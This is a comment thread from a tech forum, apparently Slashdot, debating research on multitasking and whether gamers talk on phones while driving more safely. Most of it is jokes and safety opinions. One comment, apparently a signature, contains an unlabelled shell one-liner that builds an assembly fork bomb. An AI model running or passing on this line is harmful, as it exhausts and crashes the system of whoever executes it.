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Gamers Better at Driving w/ Cell Phones?
sl4shd0rk writes "A lot of people think talking on the cell phone while driving is natural, but each time someone asks a question or changes the subject, it's like taking on a new task, Psychologists who study multi-tasking have argued for years about whether these "information bottlenecks" occur because people are inherently lazy, or because they have a fundamental inability to switch from one task to another. Mei-Ching Lien, an assistant professor of psychology at Oregon State University. "Even with a seemingly simple task, structural cognitive limitations can prevent you from efficiently switching to a new task."
I have to say that the best ones are those who play a lot of video games," she pointed out. "Those are lab studies, however, and not driving tests." " All I know is that I could get where I was going better if I could shoot turtles at others on the highway.
. . . I play Quake. Wonder if this works for drunk driving, too :).
Well i know i used a mushroom to get into this pole position
And a lot of people (including many gamers) think it is not natural.
GET OFF THE PHONE AND DRIVE.
I talk about stuff.
All I know is that I could get where I was going better if I could shoot turtles at others on the highway.
:-D
Sure, but then the other cars will slow down or spin at your oil patches.
(For the people who wonder: Mario kart!)
Dependency hell? =>
Just because you're good with multitasking with your hands doesn't mean you're inherently better than other people at multitasking in a car. With one, there are no consequences for failure. When you're driving a car, serious injury or death is the result of failure.
It's just this kind of superiority BS by gamers that will get them killed in a car. There's a difference between games and real life.
Relatedly, and I know this is anecdotal, but I try to conscientiously observe the driver when I see someone make a mistake at an intersection (when it is safe for *me* to do so, such as when I'm already *STOPPED* and some bloody fool runs a stale yellow/red light from the lane next to me.) More often than not, they are talking on a cellphone. Or eating, or drinking.
it's a blue bright blue Saturday hey hey
That's because the average person has no skills.
Most gamers on the other hand have like nunchuck skills, bowhunting skills, computer hacking skills, etc...
Having such a large repertoire of skills, over the years gamers have had to learn better multitasking skills out of necessity (unless, of course, you have a sweet bike or a mustache).
Yeah, it reminds me of a joke about ultra male English drivers.
I break the speed limit, tailgate and drive after 3 pints. But it's ok, because I'm a good driver with a very fast car.
Testosterone poisoning I call it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I can multitask fine. I'm often doing 3-4 things at once (playing games while watching TV and talking on IM for example), but this is ridiclous and should NOT be encouraged.
What they seem to ignore is that driving ALREADY means paying attention to multiple things at once. You're looking at the road ahead, and reading the road signs and watching for anything approaching the road from the sides and monitoring the situation behind you in the mirrors and keeping track of your various readouts like the speedometer. This is a lot for anyone to handle.
To summarise the summary of the summary: people are a problem. ~ h2g2
Honestly, how is talking on a cell phone much more distracting than talking to a passenger in your car?
Because the people in the car with you react to the context you're in. Liking shutting up when you stop paying attention to them rather than saying "are you still there? hello? hello? I can't hear you... hello? are you okay...".
To summarise the summary of the summary: people are a problem. ~ h2g2
Unfortunately, like most people, you've got completely the wrong idea of why driving while using a mobile phone is dangerous. At this point, I'd like to pause for a moment to thank the UK government for introducing legislation attacking the wrong problem, and thus giving millions of drivers a false sense of security when they're using a hands-free kit.
In fact, if you look at the studies done in the UK and elsewhere before the explicit ban was introduced in the UK, the big problem is the loss of concentration. The physical incapacity caused by tying up one hand obviously doesn't help, but it makes far, far less of a difference to road safety.
The reason that talking on a phone isn't like talking to a person next to you is that a person next to you will sense when you need to concentrate, because they can see that you're approaching a hazard for example, and they'll shut up and not distract you while you navigate around the hazard. Someone you're talking to on a phone can't do that, and will change the subject, ask you a question, or otherwise attract your attention just as much when you're approaching a potential danger as when you're driving on an open road without another car in sight. Whether you're holding a little box near your ear or listening to someone through a speaker doesn't affect this at all.
If the UK government really wanted to improve the level of road safety rather than score cheap political points, they would have banned all mobile phone use while driving. Then again, the whole idea of such a specific offence seems a bit redundant when you already have legislation making dangerous driving illegal in general. Presumably someone thought it would draw more attention to the specific and increasing problem, or they were just after the political points.
In summary, this is wrong:
For most people, you simply don't need to use a phone while driving, period. If you want to talk to someone elsewhere while on the move, get someone else to drive. Doing anything less will dramatically increase your risk of having an accident, as surely as driving while drunk, tired or stoned.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
The thing is - most of those cases the driver is talking about something fairly related to the situation he needs to concentrate on.
;).
Not something totally unrelated.
The cop probably looking at the vehicle he's chasing, describing it, saying where it's going. I'd find that not so hard to do that myself.
He's not trying to think of whether his girlfriend's maroon skirt (gf: "Not the red one, _maroon_") will go fine with her new top, or whether what he says next will get him in trouble with her...
As for F1 drivers, they are drivers who are highly coordinated and can probably multitask and drive at highspeeds. At least the top ones should be able to practically drive around tracks in their sleep
Apparently when the F1 racers were made to race in go-karts years ago, Ayrton Senna apparently was driving whilst tweaking the fuel-air mix on his kart's engine at the same time.
Rally drivers might even better at these sort of situations.